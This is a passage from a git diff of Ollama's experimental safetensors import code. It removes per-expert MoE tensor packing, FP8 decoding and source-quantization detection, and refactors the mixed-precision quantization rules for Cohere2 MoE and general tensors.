!= "" { - if groupSize, _, _ := model.QuantizationParams(input.Quantize); groupSize > 0 { - if metadata == nil { - metadata = make(map[string]string) - } - metadata[input.Name+".quant_type"] = input.Quantize - metadata[input.Name+".group_size"] = strconv.Itoa(groupSize) - } - } - - if st != nil { - st.Free() - } - if tmpPath != "" { - os.Remove(tmpPath) - } - mlx.Sweep() - } - defer func() { - mlx.Unpin(pinned...) - mlx.Sweep() - }() - - // Save combined blob. Add global metadata only when every packed tensor uses - // the same quantization mode and group size. - tmpDir := ensureTempDir() - outPath := filepath.Join(tmpDir, "packed-combined.safetensors") - defer os.Remove(outPath) - if err := mlx.SaveSafetensorsWithMetadata(outPath, allArrays, metadata); err != nil { - return nil, fmt.Errorf("failed to save packed blob: %w", err) - } - - blobData, err := os.ReadFile(outPath) - if err != nil { - return nil, fmt.Errorf("failed to read packed blob: %w", err) - } - - return blobData, nil -} - -func arraysForPackedInput(allArrays map[string]*mlx.Array, input create.PackedTensorInput) []*mlx.Array { - keys := []string{input.Name} - if input.Quantize != "" { - keys = append(keys, input.Name+".scale", input.Name+".bias") - } - - out := make([]*mlx.Array, 0, len(keys)) - for _, key := range keys { - if arr := allArrays[key]; arr != nil { - out = append(out, arr) - } - } - return out -} - -// perExpertSuffix matches ".{index}.{proj_and_suffix}" after the group prefix. -var perExpertSuffix = regexp.MustCompile(`^\.(\d+)\.(.+)$`) - -type expertTensorInfo struct { - index int - proj string // e.g., "gate_proj.weight" - input create.PackedTensorInput -} - -// parsePerExpertInputs groups per-expert 2D tensor inputs by projection type -// and returns per-projection quantization types. Different projections may use -// different quant types (e.g., gate_up=int4, down=int8) but all experts within -// a projection must share the same type. -// Returns nil if the inputs are not per-expert tensors (e.g., already stacked 3D). -// Only handles ".experts" groups; ".shared_experts" groups are left unpacked. -func parsePerExpertInputs(groupName string, inputs []create.PackedTensorInput) (map[string][]expertTensorInfo, map[string]string) { - if !strings.HasSuffix(groupName, ".experts") { - return nil, nil - } - - groups := make(map[string][]expertTensorInfo) - projQuantize := make(map[string]string) // projection -> quant type - for _, input := range inputs { - suffix := strings.TrimPrefix(input.Name, groupName) - m := perExpertSuffix.FindStringSubmatch(suffix) - if m == nil { - return nil, nil // not a per-expert pattern - } - index, err := strconv.Atoi(m[1]) - if err != nil { - return nil, nil - } - proj := m[2] - if existing, ok := projQuantize[proj]; ok { - if input.Quantize != existing { - return nil, nil // mixed quant within same projection - } - } else { - projQuantize[proj] = input.Quantize - } - groups[proj] = append(groups[proj], expertTensorInfo{ - index: index, - proj: proj, - input: input, - }) - } - if len(groups) == 0 { - return nil, nil - } - return groups, projQuantize -} - -// stackAndQuantizeExpertGroup decodes per-expert tensors, stacks them into 3D -// switch_mlp tensors, quantizes, and returns the combined safetensors blob. -// projQuantize maps projection name to its quantization type (may differ per projection). -func stackAndQuantizeExpertGroup(groupName string, projGroups map[string][]expertTensorInfo, projQuantize map[string]string) ([]byte, error) { - groupBase := strings.TrimSuffix(groupName, ".experts") - - allArrays := make(map[string]*mlx.Array) - var pinned []*mlx.Array - - // Build metadata: if all projections use the same quant type, set global metadata. - // Otherwise record per-tensor quant info. - metadata := make(map[string]string) - - // Sort projection names for deterministic output - projNames := make([]string, 0, len(projGroups)) - for proj := range projGroups { - projNames = append(projNames, proj) - } - sort.Strings(projNames) - - cleanup := func() { - for _, p := range pinned { - if p != nil { - mlx.Unpin(p) - } - } - mlx.Sweep() - } - - for _, proj := range projNames { - experts := projGroups[proj] - - // Sort by expert index - sort.Slice(experts, func(i, j int) bool { - return experts[i].index < experts[j].index - }) - - // Load and decode each expert tensor - var decoded []*mlx.Array - for _, expert := range experts { - dummyArrays := make(map[string]*mlx.Array) - tmpPath, toEval, st, err := loadAndQuantizeArray(expert.input.Reader, expert.input.Name, "", dummyArrays) - if err != nil { - cleanup() - return nil, fmt.Errorf("failed to decode expert tensor %s: %w", expert.input.Name, err) - } - mlx.Eval(toEval...) - - arr := dummyArrays[expert.input.Name] - mlx.Pin(arr) - pinned = append(pinned, arr) - decoded = append(decoded, arr) - - if st != nil { - st.Free() - } - if tmpPath != "" { - os.Remove(tmpPath) - } - mlx.Sweep() - } - - // Stack into 3D along axis 0: [numExperts, rows, cols] - stacked := mlx.Stack(decoded, 0) - mlx.Eval(stacked) - mlx.Pin(stacked) - pinned = append(pinned, stacked) - - // Free individual decoded arrays (remove from pinned to avoid double-unpin in cleanup) - for i, p := range pinned { - for _, d := range decoded { - if p == d { - pinned[i] = nil - } - } - } - mlx.Unpin(decoded...) - mlx.Sweep() - - stackedName := groupBase + ".switch_mlp." + proj - quantize := projQuantize[proj] - - // Record per-tensor quant metadata so the model can resolve params at load time. - if quantize != "" { - if groupSize, _, _ := model.QuantizationParams(quantize); groupSize > 0 { - metadata[stackedName+".quant_type"] = quantize - metadata[stackedName+".group_size"] = strconv.Itoa(groupSize) - } - } - - // Quantize the stacked tensor - if quantize != "" { - groupSize, bits, mode := model.QuantizationParams(quantize) - - qweight, scales, qbiases := mlx.Quantize(stacked, groupSize, bits, mode) - - // Validate quantization produced non-empty output. - mlx.Eval(qweight, scales) - if len(qweight.Dims()) == 0 || qweight.Dims()[0] == 0 { - cleanup() - return nil, fmt.Errorf("mlx.Quantize produced empty weight for %s (quantize=%s, groupSize=%d, bits=%d, mode=%s)", - stackedName, quantize, groupSize, bits, mode) - } - - qweight = mlx.Contiguous(qweight, false) - scales = mlx.Contiguous(scales, false) - allArrays[stackedName] = qweight - allArrays[stackedName+".scale"] = scales - - toEval := []*mlx.Array{qweight, scales} - if qbiases != nil { - qbiases = mlx.Contiguous(qbiases, false) - allArrays[stackedName+".bias"] = qbiases - toEval = append(toEval, qbiases) - } - mlx.Eval(toEval...) - mlx.Pin(toEval...) - pinned = append(pinned, toEval...) - - // Free stacked source array (remove from pinned to avoid double-unpin in cleanup) - for i, p := range pinned { - if p == stacked { - pinned[i] = nil - } - } - mlx.Unpin(stacked) - mlx.Sweep() - } else { - stacked = mlx.Contiguous(stacked, false) - mlx.Eval(stacked) - mlx.Pin(stacked) - pinned = append(pinned, stacked) - allArrays[stackedName] = stacked - } - } - - defer cleanup() - - tmpDir := ensureTempDir() - outPath := filepath.Join(tmpDir, "stacked-combined.safetensors") - defer os.Remove(outPath) - if err := mlx.SaveSafetensorsWithMetadata(outPath, allArrays, metadata); err != nil { - return nil, fmt.Errorf("failed to save stacked blob: %w", err) - } - - blobData, err := os.ReadFile(outPath) - if err != nil { - return nil, fmt.Errorf("failed to read stacked blob: %w", err) - } - return blobData, nil -} - -// QuantizeSupported returns true if quantization is supported (MLX library available) -func QuantizeSupported() bool { - return mlx.CheckInit() == nil -} - -// ensureTempDir creates the temp directory for quantization if it doesn't exist -func ensureTempDir() string { - tmpDir := filepath.Join(os.TempDir(), "ollama-quantize") - os.MkdirAll(tmpDir, 0o755) - return tmpDir -} - -type safetensorsHeaderEntry struct { - Dtype string `json:"dtype"` - Shape []int32 `json:"shape"` -} - -func readSafetensorsHeader(path string) (map[string]safetensorsHeaderEntry, error) { - f, err := os.Open(path) - if err != nil { - return nil, err - } - defer f.Close() - - var headerSize uint64 - if err := binary.Read(f, binary.LittleEndian, &headerSize); err != nil { - return nil, err - } - headerBytes := make([]byte, headerSize) - if _, err := io.ReadFull(f, headerBytes); err != nil { - return nil, err - } - - var header map[string]safetensorsHeaderEntry - if err := json.Unmarshal(headerBytes, &header); err != nil { - return nil, err - } - return header, nil -} - -// safetensorsKey resolves the primary tensor key from a header. -func safetensorsKey(preferred string, header map[string]safetensorsHeaderEntry) (string, error) { - if preferred != "" { - if _, ok := header[preferred]; ok { - return preferred, nil - } - } - - keys := make([]string, 0, len(header)) - for k := range header { - if k == "__metadata__" || strings.HasSuffix(k, ".scale_inv") { - continue - } - keys = append(keys, k) - } - sort.Strings(keys) - if len(keys) == 0 { - return "", fmt.Errorf("no tensor found in safetensors header") - } - return keys[0], nil -} - -func decodeSourceFP8Tensor(weight, scale *mlx.Array) (*mlx.Array, error) { - if weight == nil || scale == nil { - return nil, fmt.Errorf("fp8 weight and scale tensors are required") - } - - weightShape := weight.Dims() - scaleShape := scale.Dims() - if len(weightShape) != 2 || len(scaleShape) != 2 { - return nil, fmt.Errorf("expected 2D fp8 weight and scale tensors, got %v and %v", weightShape, scaleShape) - } - - // These must match the block size validated by resolveEffectiveQuantization - // in create.go, which rejects any source model with a different block size. - const blockRows = 128 - const blockCols = 128 - rows, cols := weightShape[0], weightShape[1] - expectedScaleRows := (rows + blockRows - 1) / blockRows - expectedScaleCols := (cols + blockCols - 1) / blockCols - if scaleShape[0] != expectedScaleRows || scaleShape[1] != expectedScaleCols { - return nil, fmt.Errorf( - "unexpected fp8 scale shape %v for weight shape %v; want [%d %d]", - scaleShape, - weightShape, - expectedScaleRows, - expectedScaleCols, - ) - } - - decoded := mlx.FromFP8(weight, mlx.DTypeBFloat16) - padBottom := blockRows*scaleShape[0] - rows - padSide := blockCols*scaleShape[1] - cols - if padBottom > 0 || padSide > 0 { - decoded = mlx.PadConstant(decoded, []int{0, 1}, []int{0, 0}, []int{padBottom, padSide}) - } - - decoded = mlx.Reshape(decoded, int32(scaleShape[0]), int32(blockRows), int32(scaleShape[1]), int32(blockCols)) - decoded = mlx.Mul(decoded, mlx.ExpandDims(mlx.ExpandDims(scale, 1), 3)) - decoded = mlx.Reshape(decoded, int32(rows+padBottom), int32(cols+padSide)) - if padBottom > 0 || padSide > 0 { - decoded = mlx.SliceStartStop(decoded, []int32{0, 0}, []int32{int32(rows), int32(cols)}) - } - - return decoded, nil -} diff --git a/x/create/client/quantize_test.go b/x/create/client/quantize_test.go deleted file mode 100644 index 3e4a5f8bb..000000000 --- a/x/create/client/quantize_test.go +++ /dev/null @@ -1,24 +0,0 @@ -package client - -import ( - "testing" - - "github.com/ollama/ollama/x/mlxrunner/mlx" -) - -func TestDecodeSourceFP8TensorAcceptsWeightScale(t *testing.T) { - if err := mlx.CheckInit(); err != nil { - t.Skipf("MLX unavailable: %v", err) - } - - weight := mlx.FromValues([]uint8{0, 1, 2, 3}, 2, 2) - scale := mlx.FromValues([]float32{1}, 1, 1).AsType(mlx.DTypeBFloat16) - got, err := decodeSourceFP8Tensor(weight, scale) - if err != nil { - t.Fatal(err) - } - mlx.Eval(got) - if dims := got.Dims(); len(dims) != 2 || dims[0] != 2 || dims[1] != 2 { - t.Fatalf("decoded dims = %v, want [2 2]", dims) - } -} diff --git a/x/create/cohere2moe.go b/x/create/cohere2moe.go index c111eed03..8c1ecf60d 100644 --- a/x/create/cohere2moe.go +++ b/x/create/cohere2moe.go @@ -2,13 +2,8 @@ package create import ( "encoding/json" - "os" - "path/filepath" - "regexp" - "strconv" + "fmt" "strings" - - "github.com/ollama/ollama/x/safetensors" ) // cohere2MoeImportTransform adjusts quantization for Cohere2 MoE imports @@ -17,47 +12,26 @@ type cohere2MoeImportTransform struct { numLayers int } -func newCohere2MoeImportTransform(modelDir string, _ sourceModelConfig) (tensorImportTransform, error) { - data, err := os.ReadFile(filepath.Join(modelDir, "config.json")) - if err != nil { - return cohere2MoeImportTransform{}, nil //nolint:nilerr // fallback to no heuristic - } +func newCohere2MoeImportTransform(rawConfig json.RawMessage) (quantizePolicy, error) { var cfg struct { NumHiddenLayers int `json:"num_hidden_layers"` } - if err := json.Unmarshal(data, &cfg); err != nil { - return cohere2MoeImportTransform{}, nil //nolint:nilerr // fallback to no heuristic + if err := json.Unmarshal(rawConfig, &cfg); err != nil { + return nil, fmt.Errorf("cohere2moe: parse config.json: %w", err) } return cohere2MoeImportTransform{numLayers: cfg.NumHiddenLayers}, nil } -func (cohere2MoeImportTransform) skipTensor(string) bool { return false } - -func (cohere2MoeImportTransform) transformTensor(td *safetensors.TensorData) ([]*safetensors.TensorData, error) { - return []*safetensors.TensorData{td}, nil -} - -var cohere2MoeLayerIndexRe = regexp.MustCompile(`\.layers\.(\d+)\.`) - func (t cohere2MoeImportTransform) quantizationType(name string, shape []int32, quantize string) string { - quantNorm := normalizeQuantType(quantize) + base := normalizeQuantType(quantize) // The embedding serves double duty: lookup (via QuantizedEmbedding) and the // tied lm_head projection (via AsLinear). With a 262k vocab the bf16 // embedding dominates decode bandwidth through the lm_head matmul, so - // quantize it to the 8-bit variant of the requested mode. - if strings.HasSuffix(name, "embed_tokens.weight") && len(shape) == 2 { - switch quantNorm { - case "int4", "int8": - if isAligned(shape, "int8") { - return "int8" - } - case "mxfp4", "nvfp4", "mxfp8": - if isAligned(shape, "mxfp8") { - return "mxfp8" - } - } - return "" + // quantize it to the 8-bit variant of the requested mode, or keep source + // precision when that does not fit. + if isEmbedTokensWeight(name) && len(shape) == 2 { + return promoteEmbedding(shape, base) } // The MoE router picks the top-k expert set; quantization noise there can @@ -69,36 +43,17 @@ func (t cohere2MoeImportTransform) quantizationType(name string, shape []int32, } // Sensitive tensors (v_proj, k_proj, down_proj) get higher precision only - // at quantization-sensitive layer positions (gemma4's useMoreBits - // heuristic) instead of the default policy's blanket promotion. The - // blanket int8 down_proj costs ~25% of decode bandwidth on a top-8 MoE; - // the layer-position heuristic keeps the early/late layers (and every - // third in between) at 8 bits where residual-stream error matters most. - promote := "" - switch quantNorm { - case "int4": - promote = "int8" - case "mxfp4", "nvfp4": - promote = "mxfp8" - } + // at quantization-sensitive layer positions (useMoreBits) instead of the + // default policy's blanket promotion. The blanket int8 down_proj costs + // ~25% of decode bandwidth on a top-8 MoE; the layer-position heuristic + // keeps the early/late layers (and every third in between) at 8 bits where + // residual-stream error matters most. isSensitive := strings.Contains(name, ".v_proj") || strings.Contains(name, ".k_proj") || strings.Contains(name, "down_proj") - if promote != "" && isSensitive && t.numLayers > 0 { - layerIdx := -1 - if m := cohere2MoeLayerIndexRe.FindStringSubmatch(name); m != nil { - if idx, err := strconv.Atoi(m[1]); err == nil { - layerIdx = idx - } - } - if layerIdx >= 0 { - if useMoreBits(layerIdx, t.numLayers) && isAligned(shape, promote) { - return promote - } - if !isAligned(shape, quantNorm) { - return "" - } + if isSensitive && eightBit(base) != base && t.numLayers > 0 { + if idx := layerIndex(name); idx >= 0 { // Bypass GetTensorQuantization's blanket promotion — the // layer-position heuristic is authoritative here. - return quantNorm + return sensitiveType(useMoreBits(idx, t.numLayers), shape, base) } } diff --git a/x/create/create.go b/x/create/create.go index acf2d2446..f1ef4feca 100644 --- a/x/create/create.go +++ b/x/create/create.go @@ -7,11 +7,9 @@ import ( "io" "math" "os" - "path" "path/filepath" "regexp" "slices" - "sort" "strconv" "strings" @@ -118,16 +116,6 @@ func loadModelConfig(modelName string) (*ModelConfig, error) { return &config, nil } -// IsSafetensorsModel checks if a model was created with the experimental -// safetensors builder by checking the model format in the config. -func IsSafetensorsModel(modelName string) bool { - config, err := loadModelConfig(modelName) - if err != nil { - return false - } - return config.ModelFormat == "safetensors" -} - // IsSafetensorsLLMModel checks if a model is a safetensors LLM model // (has completion capability, not image generation). func IsSafetensorsLLMModel(modelName string) bool { @@ -138,55 +126,6 @@ func IsSafetensorsLLMModel(modelName string) bool { return config.ModelFormat == "safetensors" && slices.Contains(config.Capabilities, "completion") } -// IsImageGenModel checks if a model is an image generation model -// (has image capability). -func IsImageGenModel(modelName string) bool { - config, err := loadModelConfig(modelName) - if err != nil { - return false - } - return config.ModelFormat == "safetensors" && slices.Contains(config.Capabilities, "image") -} - -// GetModelArchitecture returns the architecture from the model's config.json layer. -func GetModelArchitecture(modelName string) (string, error) { - manifest, err := loadManifest(modelName) - if err != nil { - return "", err - } - - // Find the config.json layer - for _, layer := range manifest.Layers { - if layer.Name == "config.json" && layer.MediaType == "application/vnd.ollama.image.json" { - blobName := strings.Replace(layer.Digest, ":", "-", 1) - blobPath := filepath.Join(defaultBlobDir(), blobName) - - data, err := os.ReadFile(blobPath) - if err != nil { - return "", err - } - - var cfg struct { - Architectures []string `json:"architectures"` - ModelType string `json:"model_type"` - } - if err := json.Unmarshal(data, &cfg); err != nil { - return "", err - } - - // Prefer model_type, fall back to first architecture - if cfg.ModelType != "" { - return cfg.ModelType, nil - } - if len(cfg.Architectures) > 0 { - return cfg.Architectures[0], nil - } - } - } - - return "", fmt.Errorf("architecture not found in model config") -} - // IsTensorModelDir checks if the directory contains a diffusers-style tensor model // by looking for model_index.json, which is the standard diffusers pipeline config. func IsTensorModelDir(dir string) bool { @@ -229,14 +168,6 @@ type LayerInfo struct { // name is the path-style name (e.g., "tokenizer/tokenizer.json") type LayerCreator func(r io.Reader, mediaType, name string) (LayerInfo, error) -// TensorLayerCreator creates a tensor blob layer with metadata. -// name is the path-style name including component (e.g., "text_encoder/model.embed_tokens.weight") -type TensorLayerCreator func(r io.Reader, name, dtype string, shape []int32) (LayerInfo, error) - -// QuantizingTensorLayerCreator creates tensor layers with optional quantization. -// When quantize is non-empty (e.g., "int8"), returns multiple layers (weight + scales + biases). -type QuantizingTensorLayerCreator func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) - // ManifestWriter writes the manifest file. type ManifestWriter func(modelName string, config LayerInfo, layers []LayerInfo) error @@ -273,13 +204,6 @@ func ShouldQuantize(name, component string) bool { return strings.HasSuffix(name, ".weight") } -// ShouldQuantizeTensor returns true if a tensor should be quantized based on name, shape, and quantize type. -// This is a more detailed check that also considers tensor dimensions. -// The quantize parameter specifies the quantization type (e.g., "int4", "nvfp4", "mxfp4", "int8", "mxfp8"). -func ShouldQuantizeTensor(name string, shape []int32, quantize string) bool { - return GetTensorQuantization(name, shape, quantize) != "" -} - // normalizeQuantType converts various quantization type aliases to canonical forms. // Supports: q4/Q4/int4/INT4/fp4/FP4 -> int4, q8/Q8/int8/INT8/fp8/FP8 -> int8, nvfp4/NVFP4, mxfp4/MXFP4, mxfp8/MXFP8 func normalizeQuantType(quantize string) string { @@ -322,89 +246,24 @@ func isStackedExpertWeight(name string) bool { return false } - return strings.Contains(name, ".mlp.switch_mlp.") || - strings.Contains(name, ".mlp.experts.") || - strings.Contains(name, ".mlp.shared_experts.") || - strings.Contains(name, ".moe.experts.") + // ".experts." covers the common case (.mlp.experts., .moe.experts.) as well + // as gemma's bare "...layers.N.experts.gate_up_proj" (no .mlp/.moe prefix). + return strings.Contains(name, ".experts.") || + strings.Contains(name, ".mlp.switch_mlp.") || + strings.Contains(name, ".mlp.shared_experts.") } -func sourceFP8BF16PromotionQuantization(name string, shape []int32, requested string) string { - quantNorm := normalizeQuantType(requested) - if quantNorm == "" { - return "" - } - - switch quantNorm { - case "nvfp4", "mxfp4", "mxfp8": - default: - return "" - } - - if !sourceFP8CanPromoteBF16Weight(name, shape) { - return "" - } - - return "mxfp8" -} - -func sourceFP8TensorQuantization(name string, shape []int32, requested string, fallback string) string { - quantNorm := normalizeQuantType(requested) - switch quantNorm { - case "nvfp4", "mxfp4": - if sourceFP8ShouldPromoteLowBitTensor(name, shape) { - return "mxfp8" - } - } - return fallback -} - -func sourceFP8ShouldPromoteLowBitTensor(name string, shape []int32) bool { - if len(shape) != 2 || !isAligned(shape, "mxfp8") { - return false - } - - return strings.Contains(name, "down_proj") || - strings.Contains(name, ".v_proj") || - strings.Contains(name, ".k_proj") -} - -func sourceFP8CanPromoteBF16Weight(name string, shape []int32) bool { - if !strings.HasSuffix(name, ".weight") || len(shape) != 2 { - return false - } - - var elems int64 = 1 - for _, d := range shape { - elems *= int64(d) - } - if elems < 1024 { - return false - } - - if !isAligned(shape, "mxfp8") { - return false - } - - switch { - case strings.Contains(name, "audio_tower") || strings.Contains(name, "embed_audio"): - return false - case strings.Contains(name, "norm") || strings.Contains(name, "ln_") || strings.Contains(name, "layernorm"): - return false - case strings.Contains(name, "router") || strings.Contains(name, "score_correction"): - return false - case strings.Contains(name, "mlp.gate.weight") && !strings.Contains(name, "_proj"): - return false - default: - return true - } +// isRoutingGate reports the small MoE routing/gate weights that select the +// active experts. Quantization noise there can flip expert selection, so they +// are kept at source precision regardless of architecture. +func isRoutingGate(name string) bool { + return strings.HasSuffix(name, ".mlp.gate.weight") || + strings.HasSuffix(name, ".shared_expert_gate.weight") || + strings.HasSuffix(name, ".router.proj.weight") } // GetTensorQuantization returns the appropriate quantization type for a tensor. // Returns "" if the tensor should not be quantized. -// This implements mixed-precision quantization: -// - v_proj, k_proj, down_proj: promoted to INT8 when base is INT4 -// - Norms, embeddings, biases, routing gates: no quantization -// - All other eligible weights: use requested quantization type func GetTensorQuantization(name string, shape []int32, quantize string) string { stackedExpert := isStackedExpertWeight(name) @@ -431,9 +290,13 @@ func GetTensorQuantization(name string, shape []int32, quantize string) string { // Normalize quantization type to canonical form quantNorm := normalizeQuantType(quantize) - // Skip routing gate weights (should stay high precision) - // In safetensors these are: mlp.gate.weight (not mlp.gate_proj.weight) - if strings.Contains(name, "mlp.gate.weight") && !strings.Contains(name, "_proj") { + // Routing gates are tiny and selection-sensitive — keep them at source precision. + if isRoutingGate(name) { + return "" + } + + // lm_head is too sensitive for the fp quant modes; keep it at source precision. + if strings.HasSuffix(name, "lm_head.weight") && (quantNorm == "nvfp4" || quantNorm == "mxfp4" || quantNorm == "mxfp8") { return "" } @@ -442,20 +305,11 @@ func GetTensorQuantization(name string, shape []int32, quantize string) string { return "" } - // For non-affine modes, use the same quantization for all eligible tensors. - if quantNorm == "nvfp4" || quantNorm == "mxfp4" || quantNorm == "mxfp8" { - return quantNorm - } - - // Value projection weights directly determine attention output quality. - // Down projection weights feed directly into the residual stream where - // errors accumulate across layers. Both benefit from higher precision. - // Promote to INT8 when base is INT4 (same affine mode, compatible with - // GatherQMM for MoE expert tensors). - if quantNorm == "int4" { + // Promote sensitive projections to 8-bit; fp4 skips experts since their kernels take a single mode. + if quantNorm == "int4" || ((quantNorm == "nvfp4" || quantNorm == "mxfp4") && !stackedExpert) { if strings.Contains(name, ".v_proj") || strings.Contains(name, ".k_proj") || strings.Contains(name, "down_proj") { - if isAligned(shape, "int8") { - return "int8" + if e := eightBit(quantNorm); isAligned(shape, e) { + return e } } } @@ -464,8 +318,7 @@ func GetTensorQuantization(name string, shape []int32, quantize string) string { } var ( - expertLayerPrefixRegexp = regexp.MustCompile(`^(?:model\.language_model\.|language_model(?:\.model)?\.|model\.)?layers\.\d+$`) - prequantizedExpertSuffixRegexp = regexp.MustCompile(`^\.(\d+)\.(.+)$`) + expertLayerPrefixRegexp = regexp.MustCompile(`^(?:model\.language_model\.|language_model(?:\.model)?\.|model\.)?layers\.\d+$`) ) // ExpertGroupPrefix returns the group prefix for expert tensors that should be packed together. @@ -502,19 +355,6 @@ func ExpertGroupPrefix(tensorName string) string { return "" } -// PackedTensorInput holds metadata for a tensor that will be packed into a multi-tensor blob. -type PackedTensorInput struct { - Name string - Dtype string - Shape []int32 - Quantize string // per-tensor quantization type (may differ within group) - Reader io.Reader // safetensors-wrapped tensor data -} - -// PackedTensorLayerCreator creates a single blob layer containing multiple packed tensors. -// groupName is the group prefix (e.g., "model.layers.1.mlp.experts"). -type PackedTensorLayerCreator func(groupName string, tensors []PackedTensorInput) (LayerInfo, error) - type sourceQuantization struct { Bits int `json:"bits"` GroupSize int `json:"group_size"` @@ -546,19 +386,23 @@ type sourceModelConfig struct { } `json:"text_config"` } -func readSourceModelConfig(modelDir string) (sourceModelConfig, error) { +// readSourceModelConfig parses config.json into the shared sourceModelConfig +// and returns the raw bytes alongside it. The raw bytes are retained on the +// Inventory so architecture-specific factories can parse their own fields +// without re-opening the file. +func readSourceModelConfig(modelDir string) (sourceModelConfig, json.RawMessage, error) { configPath := filepath.Join(modelDir, "config.json") data, err := os.ReadFile(configPath) if err != nil { - return sourceModelConfig{}, err + return sourceModelConfig{}, nil, err } var cfg sourceModelConfig if err := json.Unmarshal(data, &cfg); err != nil { - return sourceModelConfig{}, err + return sourceModelConfig{}, nil, err } - return cfg, nil + return cfg, data, nil } func (cfg sourceModelConfig) Architecture() string { @@ -574,14 +418,7 @@ func (cfg sourceModelConfig) Architecture() string { func (cfg sourceModelConfig) QuantMetadata() map[string]string { // Use the first non-empty quantization config found var q sourceQuantization - for _, candidate := range []sourceQuantization{ - cfg.Quantization, - cfg.QuantizationConfig, - cfg.CompressionConfig, - cfg.TextConfig.Quantization, - cfg.TextConfig.QuantizationConfig, - cfg.TextConfig.CompressionConfig, - } { + for _, candidate := range cfg.quantizationConfigs() { if candidate.Bits != 0 { q = candidate break @@ -600,14 +437,6 @@ func (cfg sourceModelConfig) QuantMetadata() map[string]string { return metadata } -type sourceQuantizedKind string - -const ( - sourceQuantizedKindNone sourceQuantizedKind = "" - sourceQuantizedKindPrequantized sourceQuantizedKind = "prequantized" - sourceQuantizedKindSourceFP8 sourceQuantizedKind = "source_fp8" -) - func (cfg sourceModelConfig) quantizationConfigs() []sourceQuantization { return []sourceQuantization{ cfg.Quantization, @@ -638,172 +467,7 @@ func (cfg sourceModelConfig) HFFP8WeightBlockSize() (rows, cols int32, ok bool) return 0, 0, false } -func (cfg sourceModelConfig) hasPackedNVFP4Format() bool { - for _, q := range cfg.quantizationConfigs() { - if strings.EqualFold(q.Format, "nvfp4-pack-quantized") { - return true - } - } - return false -} - -func inspectSourceQuantization(modelDir string, cfg sourceModelConfig) (sourceQuantizedKind, error) { - // Check for NVIDIA ModelOpt hf_quant_config.json (NVFP4) - if detectModelOptQuantization(modelDir) { - return sourceQuantizedKindPrequantized, nil - } - - entries, err := os.ReadDir(modelDir) - if err != nil { - return sourceQuantizedKindNone, err - } - - hasFP8Scale := false - hasPackedNVFP4 := false - for _, entry := range entries { - if entry.IsDir() || !strings.HasSuffix(entry.Name(), ".safetensors") { - continue - } - - extractor, err := safetensors.OpenForExtraction(filepath.Join(modelDir, entry.Name())) - if err != nil { - return sourceQuantizedKindNone, err - } - - for _, name := range extractor.ListTensors() { - switch { - case strings.HasSuffix(name, ".scales"): - extractor.Close() - return sourceQuantizedKindPrequantized, nil - case strings.HasSuffix(name, ".weight_packed"): - hasPackedNVFP4 = true - case strings.HasSuffix(name, ".weight_scale_inv"): - hasFP8Scale = true - case strings.HasSuffix(name, ".weight_scale"): - hasFP8Scale = true - } - } - - extractor.Close() - } - - if hasPackedNVFP4 && cfg.hasPackedNVFP4Format() { - return sourceQuantizedKindPrequantized, nil - } - - if hasFP8Scale { - if _, _, ok := cfg.HFFP8WeightBlockSize(); ok { - return sourceQuantizedKindSourceFP8, nil - } - } - - return sourceQuantizedKindNone, nil -} - -// modelOptQuantConfig represents the hf_quant_config.json format from -// NVIDIA ModelOpt (TensorRT Model Optimizer). -type modelOptQuantConfig struct { - Producer struct { - Name string `json:"name"` - Version string `json:"version"` - } `json:"producer"` - Quantization struct { - QuantAlgo string `json:"quant_algo"` - GroupSize int `json:"group_size"` - ExcludeModules []string `json:"exclude_modules"` - } `json:"quantization"` -} - -func detectModelOptQuantization(modelDir string) bool { - data, err := os.ReadFile(filepath.Join(modelDir, "hf_quant_config.json")) - if err != nil { - return false - } - var cfg modelOptQuantConfig - if err := json.Unmarshal(data, &cfg); err != nil { - return false - } - return strings.ToUpper(cfg.Quantization.QuantAlgo) == "NVFP4" -} - -func resolveEffectiveQuantization(cfg sourceModelConfig, sourceKind sourceQuantizedKind, requested string) (string, error) { - return resolveEffectiveQuantizationForFlag(cfg, sourceKind, requested, "--quantize") -} - -func resolveEffectiveQuantizationForFlag(cfg sourceModelConfig, sourceKind sourceQuantizedKind, requested, flagName string) (string, error) { - switch sourceKind { - case sourceQuantizedKindNone: - return requested, nil - case sourceQuantizedKindPrequantized: - if requested != "" { - return "", fmt.Errorf("cannot requantize already-quantized source model with %s %q", flagName, requested) - } - return "", nil - case sourceQuantizedKindSourceFP8: - rows, cols, ok := cfg.HFFP8WeightBlockSize() - if !ok { - return "", fmt.Errorf("fp8 source model missing weight_block_size metadata") - } - if rows != 128 || cols != 128 { - return "", fmt.Errorf("unsupported fp8 source block size %dx%d", rows, cols) - } - if requested != "" { - requested = normalizeQuantType(requested) - switch requested { - case "nvfp4", "mxfp4", "mxfp8": - return requested, nil - default: - return "", fmt.Errorf("cannot convert already-quantized fp8 source model with %s %q", flagName, requested) - } - } - return "mxfp8", nil - default: - return "", fmt.Errorf("unsupported source quantization kind %q", sourceKind) - } -} - -func importQuantizationStatus(sourceKind sourceQuantizedKind, effectiveQuantize string) string { - if effectiveQuantize == "" { - if sourceKind == sourceQuantizedKindPrequantized { - return ", preserving source quantization" - } - return "" - } - switch sourceKind { - case sourceQuantizedKindSourceFP8: - return fmt.Sprintf(", converting source E4M3 block-FP8 to MLX %s", effectiveQuantize) - default: - return fmt.Sprintf(", quantizing to %s", effectiveQuantize) - } -} - -type tensorImportTransform interface { - skipTensor(name string) bool - transformTensor(td *safetensors.TensorData) ([]*safetensors.TensorData, error) - quantizationType(name string, shape []int32, quantize string) string -} - -type sourceFP8TensorImportTransform interface { - sourceFP8TensorQuantization(name string, shape []int32, requested string, fallback string) string - sourceFP8BF16Quantization(name string, shape []int32, requested string) string -} - -type noopImportTransform struct{} - -func (noopImportTransform) skipTensor(string) bool { return false } - -func (noopImportTransform) transformTensor(td *safetensors.TensorData) ([]*safetensors.TensorData, error) { - if td == nil { - return nil, nil - } - return []*safetensors.TensorData{td}, nil -} - -func (noopImportTransform) quantizationType(name string, shape []int32, quantize string) string { - return GetTensorQuantization(name, shape, quantize) -} - -type tensorImportTransformFactory func(modelDir string, cfg sourceModelConfig) (tensorImportTransform, error) +type tensorImportTransformFactory func(rawConfig json.RawMessage) (quantizePolicy, error) var tensorImportTransformRegistry = map[string]tensorImportTransformFactory{ "Qwen3_5ForCausalLM": newQwen35ImportTransform, @@ -827,558 +491,11 @@ var tensorImportTransformRegistry = map[string]tensorImportTransformFactory{ "gemma4_unified_assistant": newGemma4ImportTransform, } -func newTensorImportTransform(modelDir string, cfg sourceModelConfig) (tensorImportTransform, error) { - 